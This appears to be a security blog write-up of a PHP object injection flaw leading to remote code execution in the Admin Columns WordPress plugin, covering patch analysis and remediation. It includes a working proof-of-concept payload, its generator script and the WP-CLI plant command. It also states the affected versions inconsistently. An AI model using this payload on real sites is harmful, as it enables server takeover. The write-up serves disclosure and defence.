Admin Columns WordPress plugin banner

CVE-2026-7654: Admin Columns PHP Object Injection to RCE (CVSS 8.8)

Updated 7 min read

CVE-2026-7654 is a CVSS 8.8 (High) PHP Object Injection vulnerability in the Admin Columns WordPress plugin. An authenticated attacker with Contributor-level access can write a malicious serialized PHP object into a post’s custom meta field. When the site admin views the post list, Admin Columns deserializes the value without class restrictions. This triggers a bundled POP gadget chain that results in Remote Code Execution as the web server user.

Vulnerability Summary

FieldValue
Plugin NameAdmin Columns
Plugin Slugcodepress-admin-columns
CVE IDCVE-2026-7654
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypePHP Object Injection → Remote Code Execution (Deserialization of Untrusted Data)
Affected Versions<= 7.0.16
Patched Version7.0.19
PublishedJune 5, 2026
ResearcherOsvaldo Noe Gonzalez Del Rio (Os)
Wordfence AdvisoryLink

Description

Admin Columns is a WordPress plugin that lets administrators customize the columns shown in the post list table (/wp-admin/edit.php). It supports a “Custom Field” column type that reads and formats post meta values.

The plugin supports several field-type formatters for custom fields. When the field type is set to “Post”, “User”, or “Media (multiple)”, the plugin uses the IdsToCollection formatter. That formatter receives a raw meta value and tries to convert it into a collection of IDs. Part of that logic calls unserialize() on the meta value without restricting which PHP classes are allowed. This allows PHP Object Injection.

The plugin bundles the laravel/serializable-closure library, which contains a usable POP (Property-Oriented Programming) gadget chain. An attacker can craft a serialized payload using the Native class from that library. When deserialized, this class registers a custom PHP stream wrapper and then includes a URL through it. The stream wrapper injects attacker-controlled PHP code as the return value of the include. This achieves Remote Code Execution.

Technical Analysis

How the Meta Value Reaches unserialize()

The exploitation path starts with how WordPress stores and retrieves post meta.

When a user saves a post meta value through the WordPress admin (Custom Fields meta box), WordPress calls update_post_meta(). Internally, WordPress calls maybe_serialize() on the value. If the value looks like a serialized PHP string, WordPress double-serializes it. It wraps the entire serialized string inside another s:<len>:"..." serialized string. This preserves the inner value as a plain string in the database.

When Admin Columns renders a post row, it calls Meta::format(). That method calls get_metadata() with $single = true. WordPress fetches the raw database value and calls maybe_unserialize(). This unserializes the outer wrapper and returns the inner serialized PHP object string — as a plain string, not yet a PHP object.

// classes/Formatter/Meta.php — line 34
$meta_value = get_metadata(
    (string)$this->meta_type,
    (int)$value->get_id(),
    $this->meta_key,
    $this->single          // true — single value
);

The returned string is passed to IdsToCollection::format(), which calls get_ids_from_string().

The Vulnerable unserialize() Call

Inside get_ids_from_string(), the code checks whether the string is serialized using is_serialized(). If it is, it calls unserialize() directly without restricting which PHP classes may be instantiated.

// classes/Formatter/IdsToCollection.php — line 41-43 (vulnerable version 7.0.16)
if (is_serialized($value)) {
    $ids = @unserialize($value);   // ← no allowed_classes restriction

    if (is_array($ids)) {
        return $this->sanitise_ids($ids);
    }
}

The malicious serialized string passes is_serialized() and reaches unserialize(). PHP instantiates the Native class and calls its __unserialize() magic method.

The POP Gadget Chain

The Native class is part of the bundled laravel/serializable-closure library (namespaced as AC\Vendor\Laravel\SerializableClosure\Serializers\Native). Its __unserialize() method performs two key operations.

Step 1: It calls ClosureStream::register(). This registers a custom PHP stream wrapper under the protocol laravel-serializable-closure://.

// vendor/laravel/serializable-closure/src/Support/ClosureStream.php — line 151-155
public static function register()
{
    if (!static::$isRegistered) {
        static::$isRegistered = \stream_wrapper_register(static::STREAM_PROTO, __CLASS__);
    }
}

Step 2: It includes a URL built from the attacker-controlled function property.

// vendor/laravel/serializable-closure/src/Serializers/Native.php — line 148
$this->closure = (include ClosureStream::STREAM_PROTO . '://' . $this->code['function']);

Because the stream wrapper is now active, PHP calls ClosureStream::stream_open() to handle this URL. That method constructs PHP code from the URL path:

// vendor/laravel/serializable-closure/src/Support/ClosureStream.php — line 47
$this->content = "<?php\nreturn " . \substr($path, \strlen(static::STREAM_PROTO . '://')) . ';';

The function property value is embedded directly into a return statement and included as PHP code. Because the attacker controls this value through the serialized payload, they control what code runs.

Execution Flow Summary

Contributor writes malicious post meta

WordPress double-serializes on save (update_post_meta)

Admin views post list (/wp-admin/edit.php)

Admin Columns → Meta::format() → get_metadata($single=true)

WordPress maybe_unserialize() → returns inner serialized string

IdsToCollection::get_ids_from_string()

is_serialized() → true

unserialize() [no allowed_classes] → Native::__unserialize()

ClosureStream::register() → registers laravel-serializable-closure:// wrapper

include "laravel-serializable-closure://<attacker_code>"

ClosureStream::stream_open() → PHP code: "<?php\nreturn <attacker_code>;"

RCE as web server user

Proof of Concept

Disclaimer: This Proof of Concept is provided for educational and authorized security testing purposes only. Do not test on systems you do not own or have explicit written permission to test.

Prerequisites:

  • Admin Columns plugin installed and activated (version <= 7.0.18)
  • A “Custom Field” column configured in Admin Columns with field type set to “Post”, “User”, or “Media (multiple)”
  • Attacker has a Contributor-level WordPress account
  • The configured meta key is the one used in the attack

Step 1: Generate the malicious payload

Run this PHP snippet to build the serialized object payload:

<?php
$func = '(function(){file_put_contents("/tmp/ac_rce_proof.txt",shell_exec("id"));return function(){};})()';
$class = 'AC\Vendor\Laravel\SerializableClosure\Serializers\Native';
$payload = sprintf(
    'O:%d:"%s":5:{s:3:"use";N;s:8:"function";s:%d:"%s";s:5:"scope";N;s:4:"this";N;s:4:"self";s:0:"";}',
    strlen($class), $class, strlen($func), $func
);
echo $payload;

This produces:

O:56:"AC\Vendor\Laravel\SerializableClosure\Serializers\Native":5:{s:3:"use";N;s:8:"function";s:96:"(function(){file_put_contents("/tmp/ac_rce_proof.txt",shell_exec("id"));return function(){};})()";s:5:"scope";N;s:4:"this";N;s:4:"self";s:0:"";}

Step 2: Save the payload as a post meta value (as Contributor)

Log in as a Contributor. Create or edit a post. Expand the Custom Fields meta box. Add the custom field key that matches the Admin Columns column configuration (e.g., ac_ids_column). Paste the payload string from Step 1 as the value. Click Update or Publish.

WordPress will double-serialize the value on save, storing it safely wrapped as a plain string in the database.

Alternatively, using WP-CLI to set the raw value directly (for test environments):

# Set the malicious meta value directly on post ID 42
wp post meta update 42 ac_ids_column 'O:56:"AC\Vendor\Laravel\SerializableClosure\Serializers\Native":5:{s:3:"use";N;s:8:"function";s:96:"(function(){file_put_contents("/tmp/ac_rce_proof.txt",shell_exec("id"));return function(){};})()";s:5:"scope";N;s:4:"this";N;s:4:"self";s:0:"";}'

Step 3: Trigger the exploit

An admin (or the Contributor themselves) visits the post list page:

https://target.com/wp-admin/edit.php

Admin Columns renders the column for the post. The IdsToCollection formatter deserializes the payload. The Native::__unserialize() gadget runs and executes the PHP code.

Step 4: Verify RCE

cat /tmp/ac_rce_proof.txt
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Patch Analysis

The fix is a single-line change in classes/Formatter/IdsToCollection.php:

 if (is_serialized($value)) {
-    $ids = @unserialize($value);
+    $ids = @unserialize($value, ['allowed_classes' => false]);

Adding ['allowed_classes' => false] tells PHP not to instantiate any class during deserialization. If the serialized data contains an object, PHP creates an __PHP_Incomplete_Class placeholder instead. The __unserialize() magic method is never called. The POP gadget chain cannot fire.

Because get_ids_from_string() only needs to extract an array of integer IDs, the fix does not break any valid use case. Serialized arrays of integers (which is the only legitimate input the formatter is designed to handle) are still deserialized correctly. Only PHP objects are blocked.

Timeline

DateEvent
June 5, 2026Wordfence publicly published the advisory
June 5, 2026Patched version 7.0.19 released
June 7, 2026This blog post published

Remediation

Update Admin Columns to version 7.0.19 or later. You can do this from the WordPress admin dashboard under Plugins → Installed Plugins, or by downloading the latest version from wordpress.org.

# Using WP-CLI
wp plugin update codepress-admin-columns

If you cannot update immediately, consider restricting Contributor-level user registrations or disabling the Admin Columns custom field columns that use the “Post”, “User”, or “Media (multiple)” field type until the update is applied.

References

  1. Wordfence Advisory — CVE-2026-7654
  2. CVE Record — CVE-2026-7654
  3. Vulnerable code — IdsToCollection.php#L42
  4. Vulnerable code — Meta.php#L34
  5. POP gadget — Serializers/Native.php#L148
  6. POP gadget — Support/ClosureStream.php#L47
  7. Patch changeset — plugins.trac.wordpress.org
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee